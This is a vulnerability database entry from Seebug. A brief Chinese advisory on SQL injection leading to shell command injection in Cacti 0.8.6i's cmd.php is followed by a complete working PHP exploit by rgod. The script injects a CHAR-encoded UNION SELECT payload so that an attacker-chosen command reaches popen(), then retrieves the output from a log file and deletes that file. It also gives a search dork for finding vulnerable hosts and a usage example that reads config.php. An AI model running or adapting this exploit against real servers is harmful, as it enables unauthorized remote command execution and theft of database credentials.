Lucene search

K
seebugRootSSV:1068
HistoryDec 29, 2006 - 12:00 a.m.

Cacti cmd.php脚本远程SQL注入漏洞

2006-12-2900:00:00
Root
www.seebug.org
20

Cacti是一款轮循数据库(RRD)工具,可帮助从数据库信息创建图形,有多个Linux版本。

Cacti的cmd.php脚本处理用户提交的参数数据时存在输入验证漏洞,远程攻击者可能利用此漏洞执行SQL注入攻击。

Cacti的cmd.php脚本没有正确验证对URL的输入,允许攻击者通过SQL注入非授权操作数据库。成功攻击要求打开了register_argc_argv。此外没有过滤cmd.php中SQL查询的结果便用作了shell命令,这可能导致注入任意shell命令

Cacti Cacti 0.8.6i
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

<a href=“http://cacti.net/” target=“_blank”>http://cacti.net/</a>


                                                &lt;?php
print_r('
--------------------------------------------------------------------------------
Cacti &lt;= 0.8.6i &quot;cmd.php&quot; popen() injection
by rgod
dork: intitle:&quot;login to cacti&quot;
mail: retrog at alice dot it
site: http://retrogod.altervista.org
--------------------------------------------------------------------------------
');

if ($argc&lt;4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host: target server (ip/hostname)
path: path to Cacti
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /cacti/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost / cat ./include/config.php -p81
--------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;,5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i&lt;=strlen($string)-1; $i++)
{
if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 ))
{$result.=&quot; .&quot;;}
else
{$result.=&quot; &quot;.$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=&quot; &quot;.dechex(ord($string[$i]));}
else
{$exa.=&quot; 0&quot;.dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.=&quot;\r\n&quot;; $exa.=&quot;\r\n&quot;;}
}
return $exa.&quot;\r\n&quot;.$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&quot;&quot;;
$cmd=&quot;&quot;;
for ($i=3; $i&lt;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&lt;&gt;&quot;-p&quot;)
and ($temp&lt;&gt;&quot;-P&quot;)
) {$cmd.=&quot; &quot;.$argv[$i];}
if ($temp==&quot;-p&quot;)
{
$port=str_replace(&quot;-p&quot;,&quot;&quot;,$argv[$i]);
}
if ($temp==&quot;-P&quot;)
{
$proxy=str_replace(&quot;-P&quot;,&quot;&quot;,$argv[$i]);
}
}
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error...
check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function my_encode($my_string)
{
$encoded=&quot;CHAR(&quot;;
for ($k=0; $k&lt;=strlen($my_string)-1; $k++)
{
$encoded.=ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=&quot;)&quot;;}
else {$encoded.=&quot;,&quot;;}
}
return $encoded;
}
/*
software site: http://cacti.net/

the cmd.php is not properly protected:

...
if (!isset($_SERVER[&quot;argv&quot;][0])) {
die(&quot;&lt;br&gt;&lt;strong&gt;This script is only meant to run at the command
line.&lt;/strong&gt;&quot;);
}
...

if register_argc_argv = on, you can have web access, poc:

http://[target]/[path]/cmd.php?1

now you can inject sql commands, ex. in this query:

...
$polling_items = db_fetch_assoc(&quot;SELECT * from
poller_item &quot; .
&quot;WHERE (host_id &gt;= &quot; .
$_SERVER[&quot;argv&quot;][1] .
&quot; and host_id &lt;= &quot; .
$_SERVER[&quot;argv&quot;][2] . &quot;) ORDER
by host_id&quot;);
...

and you can poison the $polling_items array that becomes like this:

Array
(
[0] =&gt; Array
(
[local_data_id] =&gt; 2
[poller_id] =&gt; 0
[host_id] =&gt; 1
[action] =&gt; 1
[hostname] =&gt; 127.0.0.1
[snmp_community] =&gt;
[snmp_version] =&gt; 1
[snmp_username] =&gt;
[snmp_password] =&gt;
[snmp_port] =&gt; 161
[snmp_timeout] =&gt; 500
[rrd_name] =&gt; proc
[rrd_path] =&gt;
[rrd_num] =&gt; 1
[rrd_step] =&gt; 300
[rrd_next_step] =&gt; 0
[arg1] =&gt; [your command]
[arg2] =&gt;
[arg3] =&gt;
)

)

$polling_items[arg1] is passed to a popen() call in /include/poller.php,
see exec_poll() function...

you do not have any output but you can redirect it to some file in /rra
or /log folder which is 'cactiuser''

*/

$command=my_encode($cmd.&quot; &gt; ./rra/suntzu.log&quot;);
$h=my_encode(&quot;127.0.0.1&quot;);
$pr=my_encode(&quot;proc&quot;);
$sql=&quot;1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*&quot;;
$packet =&quot;GET &quot;.$p.&quot;cmd.php?1+$sql+11111 HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
sleep(2);

$packet =&quot;GET &quot;.$p.&quot;rra/suntzu.log HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);
echo $html;

$command=my_encode(&quot;rm ./rra/suntzu.log&quot;);
$sql=&quot;1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*&quot;;
$packet =&quot;GET &quot;.$p.&quot;cmd.php?1+$sql+11111 HTTP/1.0\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
$packet.=&quot;Connection: Close\r\n\r\n&quot;;
sendpacketii($packet);

?&gt;